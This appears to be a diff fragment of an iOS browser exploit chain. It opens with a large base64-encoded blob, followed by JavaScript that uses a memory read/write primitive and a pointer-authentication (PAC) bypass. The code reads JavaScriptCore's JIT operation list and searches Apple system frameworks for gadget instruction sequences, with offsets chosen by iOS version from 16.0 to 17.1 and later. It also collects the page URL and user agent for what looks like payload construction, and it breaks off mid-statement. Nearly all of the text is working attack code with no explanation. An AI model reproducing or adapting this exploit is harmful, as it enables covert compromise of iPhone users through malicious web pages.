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wD7gAbCjUA+y0wISYFYQlJIgUBuh6wACEAbAAlJi4CsAAQADoAjRmJK/oCIADUABEuEy4AABIuBi4hAHAACi4FAQwuDi5VDhAuFi4VLhIuFC4nAiIBIABzHRQBIRhEATIBcABhAG4AZAAgADMAMgAtAGIAeQAxASAAawCUAe8DNAFoAHcALgBsADIAYwBhAGMAegFzAGkAegAFAmsAfgHWA4UCMQLvA2cAYgF2ADgAQAA/ALIBJQBkAC4AVy5ZLmQALgRmA3cDMgFlAGMALwCnAZ0CbABoA3UAbQBcLgMEwgPMA50DiQJgLqcDTwBTAGsuFATEA8YD3AOdAlMAfgF2AGkAYwBlAPQDEwRtAFYAfgFGLnMDcABoA6oBdC7tA8UD7wOeA80DeS57Ln0ufy6KLoMucgCFLtYDhy5pAKoBUAByAG8AZAB1AGMAdACVLpcuAAByA2sArAMtAF0CdAAtAG8DbwB9AXIA1AN/LgAASQBPAFAAgAJ0AO4BcgBtAHouvAFhAGwATgBoLmIAfgG/AzIEiy53LhgE2QPKA6cDtC6rA60DAATJLrIDoy7VA6cDQQAvAMwutQNqEU8ATQBhAJYDcgBQAKQDdABEAJ4CYQB1AGwANAG0LlIAZQBnAJouigJ5AEUAbgDtLqADbwBtAFAA1QLkA+gu6i7sLp0D7y7tLkMAnQLVAmUAHAScLq4ufgF0APMktC5PAJEBYS50AOkubABlANwuBQK0LuIufC5+LlQAnQJlADoAcxtXAGUAYgD3AzEB8C7OG0UATADfFVMARQA+BG4AdQAtACcvKS9aLi0vWC4uLyUAKgBiAV8AZAC8AXYAwy6mLqguBC9uAC0AcwCRLn4usy5yLvwDZgBDLmUAUgBvADECAABNAJABaQAOL1MAdADOAy8AMQAuALIBaAB0AHQAcAAZL3MbVi9YL3MAWi8AAGEAcACZLkIu/gNuAC8AagBzAKgBAABHAEUAIAFQAHIuIAFVAD4vcgAtAEEAXQIgLx4vZQDwLi0AVAB5AH0BAABcL3AAYgF7AFwAIgBlAIUvOgAlAHUALACFL2wAiC+KL30AAACEL4Yvjy+LL4UvZgCIL4UvJQBzAIUvjC8iAI4vIgCJL3UAkS97ACIAYwBpLqEvny9vAGcAbQBzAGcAIgAsACIATy7TGDoApS+tL68vOgAiAJsvIgB9AJEvPS4uAG0Ani57AbkZcwCbL8QvLwDGL3Mbei9kAEIAQy5rAGcAnS7SA0UpcwBrAPYhAADCLusubgDNL2MAzy/RLy8u0y9rAFcArANoAEUAeABwAGkACASoAQ0WLy4OL3IA1i9KDwUB9AIOBAgBLSkiAfUvYQPwLwQAJAOIAQQAEAIEAGUoBABjDYgB5QFBAa8gBjCBAGkBIQFmASoCBAHaDboFlAJBCS0BfAAIAdwAtQGPKrcDQwEGAFsgLAMZAQEA7AAmAyIR0gcEANgAiR2kAO4G9x4MAQQAOAAYAzQADREBAKwA+BcDALQA7AgHALAACgUGACQAswcDAJQAPQt6AqUGBgCsAGsdRAA4EwUApABJCC8wVAMCADwAVwMDAOAAyShwAC4AzRIUABkIAgCsABkIAQDIACQKOzBfA9Eq9iECAKQA9iEJAJAAFx0EAHQACBHMALoRBQCoACYvBAAsAEscBQCgACANfyxPAAYBoAAoAwgAPgEAAAcAHwC9DO8JtQHsEZQCwQLiAXoAXwYBAHgAHgD3HgwACgXyLxoDYACdAEwGkDD/APcvIQFEAA4AEAD1CJ0ADgPcBAgDFAEwAO8BIQGUAJ8wFAG0AMUBDQFEBHYC/gSpMKowqzCsMK0wrjCvMLAwsTCyMLMwtDC1MLYwtzC4MLkwujC7MLwwvTC+ML8wwDDBMMIwwzDEMMUwxjDHMMgwyTDKMMswzDDNMM4wzzDQMNEw0jDTMNQw1TDWMNcw2DDZMNow2zDcMN0w3jDfMOAw4TDiMOMw5DDlMOYw5zDoMOkw6jCaBPQAhQEiAbcA4gPwMPYB8jAUASQA9DAfA/cwBQE8APkwrCS6BSEBIBAiAWgA/jAUAXQAAzEIAYAABjEFAYwACTEnCAwxSAD8MFQA/DBgAPwwpAAMMWwA/DB4APwwhAD8MJAA/DCcAPwwqAD8MLQA/DDAAPwwzAD8MNgA/DDkAPww8AD8MPwA/DAIAAwxFAAMMSAADDEsAAwxOAAMMUQADDGwAAwxvAAMMcgADDHUAAwx4AAMMewADDHcAO4wFAH4AAwxBACrJhQBEABPMQgBHABSMQUBKABVMTQHWDGuBSIBTABYMVgAWDFkAFgxcABYMXwAWDGIAFgx6ABKMfkBWDGgAFgxrABYMbgAWDHEAFgx0ABYMdwAaDFYMfQAWDEAALoA4gN9MfYBfzH1MIExHwODMfowhTFYD4cxVACHMWAAhzFsAIcxeACHMYQAhzGQAIcxnACHMagAhzG0AIcxwACHMcwAhzHYAIcx5ACHMfAAhzH8AIcxCAClMMMNqTGAL/UBFAHhAeswsDGxMbIxszG0MbUxtjG3MbgxuTG6MbsxvDG9Mb4xvzHAMcExwjHDMcQxxTHGMccxyDHJMcoxyzHMMc0xzjHPMdAx0THSMdMx1DHVMdYx1zHYMdkx2jHbMdwx3THeMd8x4DHhMeIxdgQRACEATQ1TAAUDYACiLCEBFQ+PAZEBkwG3L3ouLy4AAFEAcQBwALMpQABfABoWSgBDABwCTABBAFMAUwBfACQAXwCpA0EAYi9oA2Qv4QNyAOgABQCtBQUySQDbL90v0QPfL9wuahFuAHYAvi5pAFwucQuQABQA+TGbIUYAQQBmLm8AZC+kA+IuRC/lLjQBgAAQAA8yITJCAEgvDi8uLkYAvi4+L2cZIDIcBFIA5wFMAEgvcADNA20AwS9uAEsvZACyLoAAEAY4MkYAOjJuADwyri4oMuQu5i5DMgUCkADZCF8AITJIAFQAVABQANIuqAExAF8AAwOAAMcnkTCQMAEALjIcBE8v/y70Lp0ury4GL1cyWTIDL3gA8yQsMmUyRgBnMg8vaTIEL7AueQBtMlAA6S5zAHAAqAE+L0gADy9EMn8BczJ1MtcBAy9rMnkAATJMAHouVy+9AVAuNzJVMmYyigJ2MowyVgAaMtMDfy5DAAUvaQD5A2QvAS9oAGEAvQFnGdQcXwBTAEEATgBEAEIATwBYABwCSABFAEMASwBfAE4ATwBfAFIARQBvL4YNRwGYAGIyYzIPMrQyUwD3A2MAnQIxAU8vzi9CAGwAJTJrAEcBRzIbAaouuQFwAHUAuQFhL2EAYgBNL6wDaQCyLg8yWwJELl8A1gLUL5sCbABmAHQOgABIAA8ydgBtAIgCXAJlANEBFjLNMugy6jItLl0CdgFHLlIyQAB1A2wA6wF3AWIAXwDXMi8uwy49AiEBfwEfMhwCRgBEANUCYQD+Lg8vMQFnGQAAPSIFMxwECDPWAkcA0wFCADYuZQBQAIoCDjNyABAAETMHMwkzFTN0AEwAei9nANQBHDMYAB8zRAB9LmUvjS4LMwAvHDMgACozLDPVA40uIjOYMmwAdQBSMg8zKAAfM0UAcQB1AL4uHDMwAB8zIjN9L30BSQBEABwzOABUMhwEezJNAH8ucwDsMgcyfQEvLhczMQFiAT0CcgBAAE0zRgBPM1Ez7DLNA3AAlymeLvMkWjNIAF0zXzOyAmEz/y4xAUUAbgMGLxwzUABpM1gyUABQM2szXQIvMzEB6S5AM38uNAFaM1gAdDNZMnczUjNdAiIzfTJ/MqkBZQDHMl8BcwDNA0QyHDNgAIIzdjNgM10CjjIwMnUDHDPaCvkxTjN1M4Qz7DKOMoIyYQCEMkYA2jL6MjgzOjMcM3AAHzOJMgUveQCaA14BejNlAOIv1AGHMpgCWjN4AB8z6S6jM7YzQwDKMjYyWjPxGbozgzK9M64uJSpqMq4zHDO7B10zuzNkAL0zbTPPA6QDezJ8MzozqgFaMy8mwzO8M5Uy1wGyM7Qz8wpNLzszcgCmGtkzzjPbM20ATwBVMxwzTQ3kM7YzzTMcM/0G7DPmM1MARC5lAJ8uDi/eM0oyTDIeA1ozsACdJJwzSTLEM/Iz0wG+M9oyIC9aM7gA/jMGM80ztjOOMq0zeTIcM/MWwzMyMsAzDzM1F7ozOzI9MiIzQwD8A50CBjQPM9AACTQ5Mhg0ri5KMkkAQjLCLxwzVAEXNEsyPTJPL64uHDP2Bh8zZzKQMt0z4y9DADM0vgEcM9AMMjSKApAyGjQ4NL8BWjPwACE0dDI9NL4BIjMkM74BJzNaM/gARDRANCIzxS7vLqcBZACQMhwzmw08NLwBRzTTAUczZQBJM8oz5RX/M1UAUgBMAGIzizL0M9gB1zNgNAYzYjRkNNAz8i5tAKUzTi+BLukubwN/Lnov1gJlLxwz1Q0fM2w0NTS1M0Y0QTQPMz0aOAmnMlApeQDWAW0AfS4uNJ0CZTRvMtoyWTMPM4UapjJcGcoy3C/uMWoACy9fANwuRi5nAC4D/DPjBfkxlDTLMpc0mTRUNH4ybwAUNHIAuACgNBsBXwB+AZ0uhTIPM1gk+THWMuAuHDNACaYyYgBILp0uHDOCJ6YyQi4kMpYIWjOQAjMPuQHzLnU0cQOoATQvYS7CL/4ydQBmAGYAATMPM84WpjJkAGwAsAKoNOEzuQLVNMoy6TNCNKw01jRzAIMCHDO4H6YyMgG1A8Ez2yD5MQICZQDhM4gA6jRfAKou5y9cLtcz8DRoAKg0dADsAfgD7wFaM5gA9jT4NFUySy57AV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")); + this.xA = utilityModule.resolveUrlPadded(fixedValue1); + this.cA = fixedValue2; + this.iA = utilityModule.resolveUrlPadded(fixedValue3); + //alert("AAA" + this.xA); + this.GA = !0; + let C = document.URL; + for (C += "\0"; C.length % 4 != 0;) C += "\0"; + let I = navigator.userAgent; + for (this.OA = utilityModule.utf16Decode(C), I += "\0"; I.length % 4 != 0;) I += "\0"; + this.KA = utilityModule.utf16Decode(I), this.RA = new Offset64(0, 0), this.kA = new Offset64(0, 0), this.zA = new Offset64(0, 0); + } + length() { + return 2 * (this.yA.length + this.oA.length + this.xA.length + this.cA.length + this.OA.length + this.KA.length + this.iA.length); + } + FA(A) { + this.RA = A; + } + VA() { + return this.RA; + } + YA() { + return this.RA.add(2 * this.oA.length); + } + HA() { + let A = this.VA(); + return null !== A && (A = A.add(this.length())), A; + } + SA(A) { + const g = this.VA(); + let D = g.add(2 * this.oA.length).add(2 * this.yA.length); + const M = D.add(2 * this.cA.length), + C = M.add(2 * this.xA.length), + I = C.add(2 * this.OA.length), + w = I.add(2 * this.KA.length), + Q = w.add(2 * this.iA.length); + let B = null; + const N = new Offset64(g.it, g.et), + E = new Offset64(D.it, D.et), + T = new Offset64(M.it, M.et), + U = new Offset64(C.it, C.et), + L = new Offset64(I.it, I.et), + s = new Offset64(w.it, w.et), + k = new Offset64(A.it, A.et), + F = new Offset64(Q.it, Q.et), + S = new Offset64(this.kA.it, this.kA.et), + Y = new Offset64(this.zA.it, this.zA.et); + let y = new Offset64(0, 0), + o = new Offset64(0, 0), + c = new Offset64(0, 0), + i = new Offset64(0, 0), + G = new Offset64(0, 0), + O = new Offset64(0, 0), + K = new Offset64(0, 0), + R = new Offset64(0, 0), + z = new Offset64(0, 0); + const V = new Offset64(0 | platformModule.platformState.kn, 0), + H = new Offset64(platformModule.platformState.Pn ? 1 : 0, 0); + if (null !== platformModule.platformState.caller && !0 === platformModule.platformState.qn) { + const A = platformModule.platformState.pacBypass, + g = platformModule.platformState.exploitPrimitive, + D = platformModule.cr(), + M = D.Sh(), + C = D.bh("__TEXT", "__text"), + I = D.dlsym("_ZN3JSC16jitOperationListE"), + w = g.readRawBigInt(I), + Q = g.read32(w - 4), + B = function (A, D) { + for (let M = 0; M < Q; M++) { + const I = g.readRawBigInt(w + 16 * M), + Q = 8; + if (C.qe <= I && I <= C.qe + C.Oo - Q && g.read32(I) === A && g.read32(I + 4) === D) return g.readInt64FromOffset(w + 16 * M + 8); + } + return utilityModule.Int64.fromNumber(0); + }(0xd289222d, 0xd71f0c4d); + if (B.Et()) throw new Error("B.Et()"); + K = new Offset64(B.it, B.et); + const N = 0x4911, + E = function (A, D) { + const C = M.Jh(A)._h("__TEXT", "__text"), + I = C.qe + C.Oo - 4 * D.length; + for (let A = C.qe; A <= I; A += 4) { + let M = !0; + for (let C = 0; C < D.length; C++) + if (g.read32(A + 4 * C) !== D[C]) { + M = !1; + break; + } if (M) return A; + } + window.log("ERROR: returning not found of " + A + ": " + D); + return 0; + }, + T = function (A, g, D) { + const M = g(gA.Int64.fromNumber(A), gA.Int64.fromNumber(D)); + return new Offset64(M.it, M.et); + }; + let U = 0, + L = 0; + // Select framework and gadget offsets based on iOS version (P.platformState.iOSVersion) + + if (platformModule.platformState.iOSVersion >= 170100) { + + // iOS ≥ 17.1 + U = E( + "/System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing", + [ + 0xaa0c03e8, + 0xd29b8c11, + 0xd71f0951 + ] + + ); + + // constant used later when resolving additional gadgets + L = 0xDC60; + + } else if (platformModule.platformState.iOSVersion >= 170000) { + + // iOS 17.0 + U = E( + "/System/Library/Frameworks/CoreML.framework/CoreML", + [ + 0xaa0c03e8, + 0xd2909cd1, + 0xd71f0951 + ] + + ); + + L = 0x84E6; + + } else if (platformModule.platformState.iOSVersion >= 160400) { + + // iOS ≥ 16.4 + U = E( + "/System/Library/Frameworks/CoreML.framework/CoreML", + [ + 0xaa0c03e8, + 0xd29e65b1, + 0xd71f0951 + ] + + ); + + L = 0xF32D; + + } else if (platformModule.platformState.iOSVersion >= 160000) { + + // iOS 16.0 – 16.3 + U = E( + "/System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing", + [ + 0xaa0c03e8, + 0xd2935db1, + 0xd71f0951 + ] + + ); + + L = 0x9AED; + + } else { + + // Older systems fallback + U = E( + "/System/Library/Frameworks/MediaToolbox.framework/MediaToolbox", + [ + 0xaa0c03e8, + 0xd29dce11, + 0xd71f0951 + ] + + ); + + L = 0xEE70; + } + + // Fail if framework / gadget lookup failed + if (U === 0x0) throw new Error("U === 0x0"); + + // Resolve first stage gadget chain + G = T(U, A.pacia.bind(A), N); + + let s = 0x0; + // Select another framework + offsets depending on iOS version + if (platformModule.platformState.iOSVersion >= 170100) { + + // iOS ≥ 17.1 + s = E( + "/System/Library/PrivateFrameworks/PassKitCore.framework/PassKitCore", + [0xaa0b03e2, 0xd28c7331, 0xd71f09d1] + + ); + + // 64-bit constant (low/high) + R = new Offset64(0x6399, 0x0); + + } else if (platformModule.platformState.iOSVersion >= 170000) { + + // iOS 17.0 + s = E( + "/System/Library/PrivateFrameworks/AppleMediaServices.framework/AppleMediaServices", + [0xaa0b03e2, 0xd29bc671, 0xd71f09d1] + + ); + + R = new Offset64(0xDE33, 0x0); + + } else if (platformModule.platformState.iOSVersion >= 160400) { + + // iOS ≥ 16.4 + s = E( + "/System/Library/PrivateFrameworks/SpringBoard.framework/SpringBoard", + [0xaa0f03e2, 0xd29336f1, 0xd71f09d1] + + ); + + R = new Offset64(0x99B7, 0x0); + + } else if (platformModule.platformState.iOSVersion >= 160000) { + + // iOS 16.0 – 16.3 + s = E( + 